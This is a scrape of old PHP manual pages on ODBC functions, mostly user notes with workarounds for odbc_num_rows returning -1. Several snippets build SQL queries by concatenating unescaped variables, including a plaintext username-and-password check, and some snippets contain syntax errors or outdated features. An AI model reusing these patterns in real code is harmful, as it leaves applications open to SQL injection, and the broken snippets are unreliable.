<?php
function odbc_mssql_num_rows($dbh) {
    $res = odbc_exec($dbh, 'SELECT @@ROWCOUNT AS cnt');

    if ( @odbc_fetch_into($res, $row)) {
        $count = trim( $row[0] );
    } else {
        $count = 0;
    }

    odbc_free_result($res);
    return $count;
}
?>

Where $dbh is your database connection resource (see odbc_connect()). And make sure that your SELECT statement is a last query before your odbc_mssql_num_rows() call.
walt at brookhouse dot co dot uk 09-Jul-2010 02:45
The easy way to count the rows in an odbc resultset where the driver returns -1 is to let SQL do the work:

<?php

    $conn = odbc_connect("dsn", "", "");
    $rs = odbc_exec($conn, "SELECT Count(*) AS counter FROM tablename WHERE fieldname='" . $value . "'");
    $arr = odbc_fetch_array($rs);
    echo $arr['counter'];

?>
chew_baka at hotmail dot com 18-May-2010 02:44
None of these examples were working for me, so I came up with the following silly procedure that gives me the number of rows.  This example is crude, but you should get the idea.

<?php
$cxn = odbc_connect("ODBC_DSN_NAME", "", "");
$sql = "SELECT * FROM some_table'";
$res = odbc_exec($cxn, $sql);
$items = 0;
 while ($row = odbc_fetch_array($res))
   {
       $items++;
   }
  odbc_free_result($res);
  echo "<br>total No. of rows: $items";
?>
jeff at script-xs dot com 02-Jan-2009 11:34
After minutes of frustration, I realized why odbc_num_rows was not returning the number of affected rows on a prepared update query.  I'm using ODBC to connect to Microsot SQL Server 2005.

My corrected code:

<?php
$query = odbc_prepare($conn, 'UPDATE table SET cat = ? WHERE id = 1');
$result = odbc_execute($query, $category);
$affected = odbc_num_rows($query);
?>

This code works.  I was frustrated that odbc_num_rows($result) didn't work as I expected, but instead required me to pass the original prepared query to this function.
sirio3mil at gmail dot com 17-Jun-2008 09:46
The diference between functions used here are consierable, for example for one table with 36 columns and 806 rows the time to execute two of those functions are this:

function using odbc odbc_result_all take 2,6 seconds
function using odbc_fetch_row take 0,8 seconds
areznik at survdata dot com 30-Nov-2007 10:04
I could have been noted before in this thread but I couldnt find it on my first search.

This function (odbc_num_rows) returns -1 when ODBCing to MS SQL and making it hard to get the number of rows in the returned recordset.

Two workarounds:
   1. When you just need to verify that any rows returned from your query you can use select count(*) as cnt from table and then just get $row['cnt']
   2. When you need to actually loop through the records this function returns number of rows in the recordset if and only if you include ORDER BY clause in your query statement.

That sounds a bit annoying but thats the work around when dealing with MS SQL odbc driver I guess.

It would be beneficial if someone explained how the Order By clause makes the difference.
Nathaniel at comtel dot com dot au 30-Oct-2007 08:57
My development computer is running XP sql2005 while the production copy sits on a server 2003R2 sql2000 computer.

In the course of trying to get this function to work (switching from mssql to odbc) I have discovered that the ODBC driver versions are different between the two OS and that while the newer version (release date 17/2/07) that is able to be installed on 2003 handles this function fine, the older version doesn't.

Microsoft sites suggest that Vista might also handle it (ie have the newer driver). It also says that there are no plans to release the newer driver in a installable package.

http://support.microsoft.com/kb/892854

Will hopefully test with the sql2005 on server 2003R2 in the near future to confirm it is the driver helping here.
pmo@raadvst-consetatDOTbe 16-Oct-2007 02:46
voland's function is simply great.
However, i would recommend the use of ob_end_clean(), to shut down completely the output buffer (can cause weird behaviour).
nielsvandenberge at hotm dot dot dot dot dot com 11-Sep-2007 05:06
I just tried to use the function best_odbc_num_rows($result) from voland at digitalshop dot ru, but it's not working quite well. After executing the function odbc_result_all(); the resultset has to be resetted again.
Resetting it with

odbc_fetch_row($result, 0);

is not working for me.

I think the internal number-value of the odbc_result_all()-function is not resetted, but that's just a guess.

when I execute the function 3 times with a resultset of 17 rows the values: 17, 34 and 51 are returned.

His previous function useful_odbc_num_rows($result) works better (for me).
voland at digitalshop dot ru 26-Mar-2007 07:50
Today we find a BEST way to count number of rows with ODBC!

function best_odbc_num_rows($r1)  {

ob_start(); // block printing table with results

(int)$number=odbc_result_all($r1);

ob_clean(); // block printing table with results

return $number;

}
voland at digitalshop dot ru 05-Mar-2007 05:56
After a hour for a searching a good alter function of odbc_num_rows... i try to write it by mysels:

function useful_odbc_num_rows($result){

   $num_rows=0;

   while($temp = odbc_fetch_into($result, &$counter))

   {
       $num_rows++;
   }

@odbc_fetch_row($result, 0);   // reset cursor

   return $num_rows;
}
dm at personalcomputingsolutions dot co dot uk 07-Feb-2007 01:41
function db_get_row($cur, $rownum){
if (odbc_fetch_into($cur, $row, $rownum)){
        return ($row);
    }else{
        return (FALSE);
}

$i=1;
if (db_get_row($cur,1)){
while ($record=db_get_row($cur,$i++)){
do stuff
}else{
tell the user there are no results
}
lechatthierry at hotmail dot com 10-Aug-2006 10:29
<quote>
ramon
27-Aug-2005 04:41
odbc_num_rows for access does return -1. I use count($resultset);
 it seams to work.
</quote>

I taught it was a solution once but $resultset is a ressource and count() alwais return 1 since it considered it as a single object.
patx00 put_an_at_symbol_here gmail.com 07-Apr-2006 12:28
If you simply want to loop through the results of a query if there are some results a more efficient way to do it (without looping once for the count and another time for doing whatever you want to do ..) would be this:

$result2 = odbc_exec($vConn, $vSql);
if (odbc_fetch_row($result2, 1)) { //Some results
    odbc_fetch_row($result2, 0); //Go back to 1st row
    while ($vField = odbc_fetch_array($result2)) {
        ....
    }
}

I hope this helps.
michael dot buergi at gmx dot net 05-Apr-2006 05:14
Look at the notes for odbc_fetch_row to find a custom num_rows() function which implements a binary search algorithm.
ramon 27-Aug-2005 01:41
odbc_num_rows for access does return -1. I use count($resultset);
 it seams to work.
moogleii 19-Aug-2005 09:21
With MS SQL, I found if you add an ORDER BY to your SELECT statement, the function will return the correct number of rows.
Alain 09-Aug-2005 11:22
I use ODBC on Windows to connect to Oracle on OpenVMS, and to execute a "select count(*)" I need to add the SQL_CUR_USE_ODBC parameter to odbc_connect.
tysonswing at hotmail dot com 26-Mar-2005 12:08
Quick and easy way to return the number of rows:

$query = "SELECT COUNT(*) FROM <my database name>";
$result = odbc_exec($dbc, $query);
odbc_fetch_into($result, $count, 1);

where:

$dbc = connection_id
$count =  the total number of rows
ashley at ashley-young dot com 29-Nov-2004 10:57
To add to the note about using odbc_num_rows with the Tandem Driver:

As mentioned, the Tandem driver will return -1 until the last row. To use this to your advantage for formatting Tandem output, you can simply say:

while(odbc_num_rows($rs) == -1)
{
  $row = odbc_fetch_object($rs);
  print $row->fieldname;
}

From there, you can format Tandem output as you normally would with mssql or mysql.
paul at mNoOvSePtAoMiNcOeSlPaMnNdO dot ScPoAmM 30-Sep-2004 11:25
Here's a quick and dirty function that *should* return the number of rows in a query even if the driver is being ornery.

<?php
function better_odbc_num_rows($con,$sql){
    $result = odbc_exec($con,$sql);
    $count=0;
    while($temp = odbc_fetch_into($result, &$counter)){
        $count++;
    }
    return $count;
}
?>

$con is your ODBC connection, and $sql is your SQL query. Put it in your header and you should be good to go.
Lambert Antonio [ lamy ] 08-Dec-2003 09:30
It isnt the drivers actually that makes recordcount return -1, its because the recordcount property is a read-only property available to recordsets opened with one of two kinds of cursor types, opening it as static will return the actual value by default it is opened as forward only. FYI
Saran 25-Sep-2003 12:16
Using odbc_num_rows() against MS SQL Server will return correct number of result if you add 'TOP' modifier in the select statement, make it too big number to make sure they will cover all possible records, it doesn't effect any performance, for example:

$query="select top 100000 * from employees where dept_id=$dept_id";

instead of just:

$query="select * from employees where dept_id=$dept_id";

The first statement will return the correct number of records while the latter will always return -1 if there are any records or 0 if no record at all.

However if you only want to examine whether there is a record, -1 is suffice.

Another solution is to use odbc_next_result() function, count for the records in first statement and follow by select statement, for example:

$query="select count(*)from employees where dept_id=$dept_id;select*from employees where dept_id=$dept_id"

After execute this multiple statements in a single execution, it will return multiple recordsets:

$result=odbc_exec($connection,$query);
# get number of records form count statement
if(odbc_fetch_row($result))$record_count=odbc_result($result,1);
# go to next result set
odbc_next_result($result);
# the code to handle next result set here...

Hope this help...
avodiez at hotmail dot com 16-Sep-2003 12:36
I've found a little mistake while trying deejay_'s function against an ODBC SQL Server driver.

If you work with that database, subqueries must be named. So if you are trying to get record number deejay_'s way, you must use AS statement when passing SELECT count(*) query as this:

where is

$countQueryString="SELECT count(*) as result FROM (".$query.")";

might be

$countQuerySrting="SELECT count(*) as result FROM (".$query.") AS anyNameYouLike ";

As well, be carefull with ORDER BY statements in subqueries as they are not accepted unless they with TOP modifyers.

Avo
-/-/- Jag Alskar Carla och Sverige -/-/- 24-Apr-2003 12:08
I solved the problem using two "while(odbc_fetch($result))", one for counting (on top of the table) and the other to populate the table:

--- counting: ----

$result_count = odbc_exec($connection, $sql);

while (odbc_fetch_row($result_count))
{
   $count++;
}

echo "Title";

if ($count)
{
   echo "Total: <b>$count</b>.";
}
else
{
   echo "No Records Found.";
}

---- populating: ----

$result = odbc_exec($connection, $sql);

while (odbc_fetch_row($result))
{
   (...)
}
odbc_close ($connection);
deejay_ 10-Apr-2003 02:50
i modified the script of fergus a little bit so that you can give the whole query string to the function.
Maybe some find this one helpfull.

<?php
function odbc_record_count ($result, $odbcDbId, $query)
{
  $numRecords = odbc_num_rows ($result);
  if ($numRecords < 0)
  {
    $countQueryString = "SELECT count(*) as results FROM (".$query")";
    $count = odbc_exec ($odbcDbId, $countQueryString);
    $numRecords = odbc_result ($count, "results");
  }

  return $numRecords;
}
?>

deejay_
EC 27-Mar-2003 12:55
This is how I got odbc_num_rows to work...I was getting "-1" and "Resource id #3"  for the result until I added the variable $rows

(code)
$rows = odbc_result_all($sql_result, "border='1' bordercolor='#003636'");
odbc_num_rows($sql_result);
print "Number of rows:$rows";
odbc_free_result($sql_result);
odbc_close($connection);
?>
(code)
joef43065NOSPAM at yahoo dot NOSPAM dot com 16-Dec-2002 03:51
This function calls SQLRowCount, which according to the ODBC Specification returns "the number of rows affected by an UPDATE, INSERT, or DELETE statement;" This is not what odbc_num_rows is supposed to return, though it works with some ODBC drivers. Search for "ODBC reference sqlrowcount" (no quotes) on Google for more information (link is too long to post).
webmaster at walia dot com 23-Nov-2002 07:09
if you are using ODBC you will get -1 as the answer to this command most of the time.  I tried this on windows (sigh) and it did not work.

If you are using ODBC with a DSN for MS ACCESS then the best method would be

CODE:
--------
 $connection = odbc_connect("DSN_name","userid","password") or die("ERROR");
 $sql = "SELECT COUNT(*) FROM tablename";
 $sql_result = odbc_prepare($connection,$sql) or die("ERROR");
 odbc_execute($sql_result) or die("ERROR");
 $rc = odbc_fetch_into($sql_result, $my_array);
 echo ("Total rows: " . $my_array[0]);
 odbc_free_result($sql_result);
 odbc_close($connection);

--------

This way you do not have to go through loops and stuff. imagine if you had over 100,000 entried (rows) and you tried to count them using a loop with incrememnting counter. It would really screw up the CPU. specially if you get 100 people doing the same thing at the same time (which you never know)

Using this method is fast and most convenient for me at least.
fergus at serif dot net 23-Oct-2002 08:21
building on masuod_a@hotmail.com's note, above, I made this function which is similar but uses the SQL count(*) recomended in other notes. I've tested this against masuod_a's function and this is much faster for me.

function odbc_record_count($result, $conn, $db, $options) {
    $numRecords=odbc_num_rows($result);
    if ($numRecords<0) {
        $countQueryString = "SELECT count(*) FROM $db $options";
        $count = odbc_exec($conn, $countQueryString);
        $numRecords = odbc_result($count, 1);
    }
    return $numRecords;
}

called like this: odbc_record_count($result, $conn, $dsn, "myField='myValue'");

where $result is the indicator to try first with odbc_num_rows, $conn is the result of your original odbc_connect, $dsn is the DSN used to get $conn and also works as the table name for the count(*), and $options is to add any WHERE this = 'that' SQL arguments.
Christian dot Schlager at t-online dot de 14-Oct-2002 05:21
odbc_num_rows returns -1 with the drivers i'm using, too.

Using the keyword DISTINCT in the select-statement makes the function return the correct number of rows.

Alas, this doesnt work if i want to select text from a table, because in this case, you cant use DISTINCT.
Anyway, i hope it helps.
masuod_a at hotmail dot com 22-Feb-2002 12:34
i wrote a function for counting odbc records , this function work for all odbc drivers :

function odbc_record_count($sql_id, $CurrRow = 1)
{
if ($NumRecords=odbc_num_rows($sql_id)<0) {
 $NumRecords = 0;
 odbc_fetch_row($sql_id,0);
 while (odbc_fetch_row($sql_id))
 {
   $NumRecords++;
 }
 odbc_fetch_row($sql_id, $CurrRow);
}
 return $NumRecords;
}
oscaralvaro at correo dot udep dot edu dot pe 27-Jan-2002 06:27
There is another SQL stament to get the rows number:
SELECT COUNT(*) from Usuario where (UsrUsername = '$username') AND (UsrPassword = '$contrasena');
I think this is more fast.
mikeheald at streamgroup dot SPAMBGONE dot co dot uk 28-Nov-2001 11:14
I have found the odbc functions to be unreliable with MSSQL 7. odbc_num_rows returns incorrect results, and specifying which row to return in odbc_result has no effect (this is with php4.0.6)
t3singh at uwaterloo dot ca 02-Oct-2001 12:47
Hi, had troubles with this as well and after quite a while and after reading several posts I came up with the following:

       $to_ret = 0;
       while(odbc_fetch_row($result))
            $to_ret++;

       odbc_fetch_row($result,0);
       return $to_ret;

just put it all in a function and I think it should do
nlange at NOSPAM dot usb dot com 17-Jul-2001 04:44
Quick note on buggy odbc drivers...<BR>
For the Tandem ODBC Driver <BR> odbc_num_rows() returns -1 up until the very last row fetched <BR>[for example, while(odbc_fetch_into()){} ]...<BR><BR> So, you can at least tell which is the last row using odbc_num_rows(), which proves useful in HTML rendering situations...
ntp at panda dot bg dot unv dot gda dot pl 22-Mar-2001 07:31
An alternative way of getting the number of rows if your driver returns -1 is to requery using the above query:

SELECT Count(*) FROM (SELECT ... original query);

I don't only know which solution is faster: to requery, or to fetch lot of rows (it depends on how does SQL engine does Count operation)
shinelight at excite dot com 13-Feb-2001 09:23
A better method for calculating the record count (without being forced to use objects) is:

<?php
function RecordCount($sql_id, $CurrRow = 0) {
  $NumRecords = 0;

  odbc_fetch_row($sql_id, 0);
  while (odbc_fetch_row($sql_id))
  {
    $NumRecords++;
  }
  odbc_fetch_row($sql_id, $CurrRow);
  return $NumRecords;
}
?>

The only problem arises (in both this and the bit of code relying on objects) is when the driver does not support fetching a specific row number.  In that case, the query will have to be run again (and cross your fingers that the data has not changed in the datasource).
odbc_num_fields
odbc_pconnect
ODBC Functions


Open a persistent database connection

odbc_num_rows
odbc_prepare
ODBC Functions
PHP Manual

odbc_pconnect

(PHP 4, PHP 5)

odbc_pconnect — Open a persistent database connection

Description

resource odbc_pconnect ( string $dsn , string $user , string $password [, int $cursor_type ] )

Opens a persistent database connection.

This function is much like odbc_connect(), except that the connection is not really closed when the script has finished. Future requests for a connection with the same dsn, user, password combination (via odbc_connect() and odbc_pconnect()) can reuse the persistent connection.

Parameters

See odbc_connect() for details.

Return Values

Returns an ODBC connection id or 0 (FALSE) on error.

Notes

Note: Persistent connections have no effect if PHP is used as a CGI program.

See Also

  • odbc_connect() - Connect to a datasource
  • Persistent Database Connections

User Contributed Notes

alberici at to dot infn dot it 15-Jul-2002 04:42
I saw that closing an ODBC persistent connection opened with odbc_pconnect() with odbc_close() doesnt work. Someone here have proposed using odbc_close_all() but wouldnt that close all persistent connections (also others ones !!!) ? What about catching a persistent handle with odbc_connect() and then closing the connection with odbc_close() ? If there are no available handles (for some reason the last pconn has been closed) this approach opens and close a normal single-script connection. Waiting comments...
j_schrab at execpc dot com 16-Jan-2001 09:41
Ok, learning time.  As I was told by the PHP-DevTeam...

Multiple connections are supported, but when you try to connect with exactly the same parameters, an existing
connection will be reused, leading to the behaviour you see.

You can simply omit the calls to odbc_close() since
connections get closed on script termination anyway or better:
Consider making your connection id a global variable or pass
it to your functions.
wls at wwco dot com 11-Aug-2000 07:44
I found that using  odbc_close($odbchandle)  on a connection opened by odbc_pconnect() causes a warning "not a valid ODBC-Link resource".  So you can't just change odbc_connect() to odbc_pconnect() and expect things to work without warning messages.  However, you can use odbc_close_all() and not get a warning.
etsai at email dot com 28-Jun-2000 09:10
The following constants are defined for cursortype:
 - SQL_CUR_USE_IF_NEEDED
 - SQL_CUR_USE_ODBC
 - SQL_CUR_USE_DRIVER
 - SQL_CUR_DEFAULT

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.
odbc_num_rows
odbc_prepare
ODBC Functions


Prepares a statement for execution

odbc_pconnect
odbc_primarykeys
ODBC Functions
PHP Manual

odbc_prepare

(PHP 4, PHP 5)

odbc_prepare — Prepares a statement for execution

Description

resource odbc_prepare ( resource $connection_id , string $query_string )

Prepares a statement for execution. The result identifier can be used later to execute the statement with odbc_execute().

Some databases (such as IBM DB2, MS SQL Server, and Oracle) support stored procedures that accept parameters of type IN, INOUT, and OUT as defined by the ODBC specification. However, the Unified ODBC driver currently only supports parameters of type IN to stored procedures.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

query_string

The query string statement being prepared.

Return Values

Returns an ODBC result identifier if the SQL command was prepared successfully. Returns FALSE on error.

Examples

Example #1 odbc_execute() and odbc_prepare() example

In the following code, $success will only be TRUE if all three parameters to myproc are IN parameters:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, mssql for MS SQL Server, or oci8 for Oracle).

See Also

  • odbc_execute() - Execute a prepared statement

User Contributed Notes

brad dot westness at gmail dot com 04-Oct-2010 10:39
When working with MSSQL over FreeTDS, calling a stored procedure that accepts a variable in the following way DOES NOT work:
<?php
$results = odbc_prepare($conn, "{CALL sp_Test(?)}");
odbc_exec($results, array("some string"));
?>
From what I've gleaned via trial and error, the "some string" never gets sufficiently bound to the ? as the variable input (perhaps because there is no ODBC equivalent to the mssql_bind() method). The stored procedure will always return an SQL Server error code HY000.

The following works for me (although I don't think it's documented anywhere):
<?php
$results = odbc_prepare($conn, "{CALL sp_Test('some string')}");
odbc_exec($results, array());
?>
Ron 30-Aug-2007 02:33
odbc_exec() returns BOOLEAN if the query doesn't return a result set.

If the query returns a result set, odbc_exec() returns a resource to that result set.
bslorence 07-Dec-2006 01:50
Is it just me or is the code above misleading? It makes it look like odbc_execute() returns a resource suitable, say, for passing to one of the odbc_fetch_* functions.

In fact, odbc_execute() returns a boolean, which simply indicates success (TRUE) or failure (FALSE). The variable to pass to odbc_fetch_* is the same one that you pass to odbc_execute():

<?php
$res = odbc_prepare($db_conn, $query_string);
if(!$res) die("could not prepare statement ".$query_string);

if(odbc_execute($res, $parameters)) {
    $row = odbc_fetch_array($res);
} else {
    // handle error
}
?>
Marek 16-Dec-2004 12:59
Use this example for IBM DB/2:

$q = "update TABLE set PASS=? where NAME=?";
$res = odbc_prepare ($con, $q);

$a = "secret"; $b="user";
$exc = odbc_execute($res, array($a, $b));
odbc_pconnect
odbc_primarykeys
ODBC Functions


Gets the primary keys for a table

odbc_prepare
odbc_procedurecolumns
ODBC Functions
PHP Manual

odbc_primarykeys

(PHP 4, PHP 5)

odbc_primarykeys — Gets the primary keys for a table

Description

resource odbc_primarykeys ( resource $connection_id , string $qualifier , string $owner , string $table )

Returns a result identifier that can be used to fetch the column names that comprise the primary key for a table.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

owner

table

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • COLUMN_NAME
  • KEY_SEQ
  • PK_NAME

User Contributed Notes

ewilde aht bsmdevelopment dawt com 11-Jul-2006 03:39
I was trying to find the primary keys from an SQLServer database through the ODBC interface.  Funnily enough, the odbc_primarykeys function doesn't work with SQLServer (at least not my implementation of it).  Fortunately, the sp_keys query is passed through and the answer returned.  This code works (providing you know which database you're dealing with, which is a whole 'nother story).

// If this is SQLServer, we need to do a special operation to get the
// primary keys.
//
// Looks like the implementers of the ODBC interface just blew this
// one off, since the database has a query to return the info and the
// info even comes back with the same column names.
if ($DBType == "SQLServer")
  $KeySel = odbc_exec($DBConn, "sp_pkeys ".$TableName);

// Otherwise, ask the database through ODBC for the primary key
// names.
else $KeySel = odbc_primarykeys($DBConn, $DatabaseName,
  $DatabaseUser, $TableName);

while ($KeySel && ($KeyRec = odbc_fetch_array($KeySel)))
  $KeyCol[$KeyRec["KEY_SEQ"]] = $KeyRec["COLUMN_NAME"];
dan dot scott at ca dot ibm dot com 20-Dec-2004 07:51
Responding to devendra_joshi:

In DB2 Universal Database for Linux, UNIX, and Windows the catalog views are accessed through the SYSCAT schema, not the SYSIBM schema -- so you should be issuing "SELECT * FROM SYSCAT.KEYCOLUSE" to list all of the columns that participate in a given key constraint.

A complete list of the catalog views for DB2 can be referenced at http://publib.boulder.ibm.com/infocenter/db2help/ by searching for 'catalog views' and selecting the top hit.
Rio Bautista (RRIT) 20-Feb-2004 08:08
Sample to get the primary keys of an MSSQL table:

$cn = odbc_connect( "DSN", "sa", "pwd");

$rs = odbc_primarykeys( $cn, "database", "dbo", "table_name");

odbc_result_all($rs);
devendra_joshi at hotmail dot com 11-Jul-2003 02:52
I want a list of primary keys of a table in db2

by using
'select * from SYSIBM.SYSKEYCOLUSE ' query i am getting the result on CLP
but when i am writing it in PHP as follows it returns 0 ROWS.

$mstmt="select * from SYSIBM.SYSKEYCOLUSE";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

where as  if we write this code

$mstmt="select * from SYSIBM.SYSFUNCTIONS";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

it returns the correct data.
odbc_prepare
odbc_procedurecolumns
ODBC Functions


Retrieve information about parameters to procedures

odbc_primarykeys
odbc_procedures
ODBC Functions
PHP Manual

odbc_procedurecolumns

(PHP 4, PHP 5)

odbc_procedurecolumns — Retrieve information about parameters to procedures

Description

resource odbc_procedurecolumns ( resource $connection_id )
resource odbc_procedurecolumns ( resource $connection_id , string $qualifier , string $owner , string $proc , string $column )

Retrieve information about parameters to procedures.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

proc

The proc. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

column

The column. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

Return Values

Returns the list of input and output parameters, as well as the columns that make up the result set for the specified procedures. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • PROCEDURE_QUALIFIER
  • PROCEDURE_OWNER
  • PROCEDURE_NAME
  • COLUMN_NAME
  • COLUMN_TYPE
  • DATA_TYPE
  • TYPE_NAME
  • PRECISION
  • LENGTH
  • SCALE
  • RADIX
  • NULLABLE
  • REMARKS

The result set is ordered by PROCEDURE_QUALIFIER, PROCEDURE_OWNER, PROCEDURE_NAME and COLUMN_TYPE.

User Contributed Notes

There are no user contributed notes for this page.
odbc_primarykeys
odbc_procedures
ODBC Functions


Get the list of procedures stored in a specific data source

odbc_procedurecolumns
odbc_result_all
ODBC Functions
PHP Manual

odbc_procedures

(PHP 4, PHP 5)

odbc_procedures — Get the list of procedures stored in a specific data source

Description

resource odbc_procedures ( resource $connection_id )
resource odbc_procedures ( resource $connection_id , string $qualifier , string $owner , string $name )

Lists all procedures in the requested range.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

name

The name. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

Return Values

Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • PROCEDURE_QUALIFIER
  • PROCEDURE_OWNER
  • PROCEDURE_NAME
  • NUM_INPUT_PARAMS
  • NUM_OUTPUT_PARAMS
  • NUM_RESULT_SETS
  • REMARKS
  • PROCEDURE_TYPE

User Contributed Notes

There are no user contributed notes for this page.
odbc_procedurecolumns
odbc_result_all
ODBC Functions


Print result as HTML table

odbc_procedures
odbc_result
ODBC Functions
PHP Manual

odbc_result_all

(PHP 4, PHP 5)

odbc_result_all — Print result as HTML table

Description

int odbc_result_all ( resource $result_id [, string $format ] )

Prints all rows from a result identifier produced by odbc_exec(). The result is printed in HTML table format.

Parameters

result_id

The result identifier.

format

Additional overall table formatting.

Return Values

Returns the number of rows in the result or FALSE on error.

User Contributed Notes

vaibhav 08-Jun-2010 12:49
code for php mssql odbc connection and executing an stored procedure

<?php
$package_code = 'AUS03B';
$client_id = 499;
$conn = odbc_connect(DSN,USER,PASS,SQL_CUR_USE_ODBC);
//SQL_CUR_USE_IF_NEEDED,SQL_CUR_USE_ODBC ,SQL_CUR_USE_DRIVER SQL_CUR_DEFAULT
$sql_result = odbc_prepare($conn, "EXEC usp_packagesearch_xml '$package_code','$client_id'");
$result = odbc_execute($sql_result);
//$string = odbc_result($sql_result,1);
$string = odbc_result_all($sql_result,"border=1");
?>
alvaro at demogracia dot com 30-Apr-2009 02:26
The $format parameter is an optional string that gets inserted in the <table> tag. The string is printed as-is. E.g.:

<?php
odbc_result_all($res, 'id="users" class="listing"');
?>

... prints:

<table id="users" class="listing" >...
result of odbc_result_all into an array 10-Aug-2006 12:22
global $tableau;

function callback($buffer)
{
 global $tableau;

 $tableau=array();
 $tab=explode("</tr>",$buffer);
 array_pop($tab);

 $entete=explode("</th>",substr($tab[0],11));
 array_pop($entete);
 foreach($entete as $numcol => $nomcol)
 { $entete[$numcol]=substr($nomcol,4); }

 array_shift($tab);
 foreach($tab as $numligne => $ligne)
 {
   $ligne=explode("</td>",substr($ligne,5));
   array_pop($ligne);
   foreach($ligne as $numcol => $cellule)
   {
    $tableau[$numligne][$entete[$numcol]]=
           htmlentities(substr($cellule,4));
   }
 }
}

$req = "select * from table";
$res = odbc_do($id_conn, $req);
ob_start("callback");
odbc_result_all($res);
ob_end_flush();
ob_implicit_flush(0);
php dot net at jeffntom dot com 09-Dec-2005 09:41
It is a bit easier and more powerful if you instead use CSS styles within the form argument"
odbc_result_all($res1,  'name="datatable" id="datatable"');
ZAPtheZAPs dot schulze dot zap at zap dot telstra dot com 02-May-2004 02:12
a revised version marius' code that works with Memo fields. (also returns rather than prints strings)

function ODBCResourceToHTML($res, $sTable, $sRow)
{$cFields = odbc_num_fields($res);
 $strTable = "<table $sTable ><tr>";
 for ($n=1; $n<=$cFields; $n++)
   {$strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";}
   $strTable .= "</tr>";
   while(odbc_fetch_row($res))
   { $strTable .= "<tr>";
      for ($n=1; $n<=$cFields; $n++)
             {$cell = odbc_result($res, $n);
    if ($cell=='') {$strTable .= "<td $sRow>&nbsp;</td>";}
             else {$strTable .= "<td $sRow>". $cell . "</td>";}}
     $strTable .= "</tr>";}
 $strTable .= "</table>";
 Return $strTable;}

DEAR MODERATORS: you would save yourselve much much time by making this entire manual into a wiki (ie like http://en.wikipedia.org ) and within a year this would be the best manual on anything!!

best wishes, Erich
marius at stones dot com 24-Jun-2003 10:21
I've written this little function that functions simirarly to odbc_result_all, but works with MySQL:

/**
 * This function emulates the odbc_result_all function, which will return a HTML table cosisting of
 * the results of an SQL query.
 * Usage: pass a mysql result set to this function, and it will return (not output) a string containing
 * an HTML table
 * Parameters:
 * - $result is your mysql result set (result of a mysql_query() function call)
 * - $tableFeatures is a string containing any HTML TABLE features you would like in the table
 *   (eg. BORDER="0" etc.)
 */
function _mysql_result_all($result, $tableFeatures="") {
  $table .= "<!--Debugging output for SQL query-->\n\n";
  $table .= "<table $tableFeatures>\n\n";
  $noFields = mysql_num_fields($result);
  $table .= "<tr>\n";
  for ($i = 0; $i < $noFields; $i++) {
    $field = mysql_field_name($result, $i);
    $table .= "\t<th>$field</th>\n";
  }
  while ($r = mysql_fetch_row($result)) {
    $table .= "<tr>\n";
    foreach ($r as $kolonne) {
      $table .= "\t<td>$kolonne</td>\n";
    }
    $table .= "</tr>\n";
  }
  $table .= "</table>\n\n";
  $table .= "<!--End debug from SQL query-->\n\n";
  return $table;
}

Enjoy...
cchristianed at netzero dot net 02-Apr-2003 10:31
About the $result reseting array instead of using:
1) odbc_fetch_row($result, 1);
use:
2) odbc_fetch_row($result, 0);

1) will fail because it will not show first record, arrays start with subscript 0.
sanjay dot ghimire at kpmg-infodesign dot com 04-Dec-2002 03:47
I wrote a small function slightly similiar to odbc_record_all, but there you can use format for both table and rows separately, which is not by odbc_record_all. hope it will be useful some how.

--- Sanjay, Germany

Here is code:

odbc_result_all_ex($result, 'Border=0 cellspacing=0 cellpadding=5', "style='FONT-FAMILY:Tahoma; FONT-SIZE:8pt; BORDER-BOTTOM:solid 1pt gree'");

function odbc_result_all_ex($res, $sTable, $sRow)
{
    $cFields = odbc_num_fields($res);

    $strTable = "<table $sTable>";
    $strTable .= "<tr>";
    for ($n=1; $n<=$cFields; $n++)
    {

        $strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";

    }
    $strTable .= "</tr>";

    while(odbc_fetch_row($res))
    {
        $strTable .= "<tr>";
            for ($n=1; $n<=$cFields; $n++)
            {
                if (odbc_result($res, $n)=='')
                {
                    $strTable .= "<td $sRow>&nbsp;</td>";
                }
                else
                {
                    $strTable .= "<td $sRow>". odbc_result($res, $n) . "</td>";
                }

            }
        $strTable .= "</tr>";
    }

    $strTable .= "</table>";

    Print $strTable;

}
rabbott at calstatela dot edu 15-Aug-2000 05:46
odbc_result_all($result) cycles through
$result. So a subsequent call to odbc_fetch_row($result) will fail.
You must use odbc_fetch_row($result, 1)
to reset $result.  (But when I do that,
I get a crash!)
martin dot vgagern at gmx dot net 25-Mar-2000 01:49
As some people stated in the ODBC overview, some buggy drivers always return the number of rows to be -1. AFAIK the only way to help this situation is to count the rows by calls to odbc_fetch_into or odbc_fetch_row and then build the table yourself.
Cwhite1000 at yahoo dot com 22-Apr-1999 05:39
Here is an example of how to use the form argument :
<?php
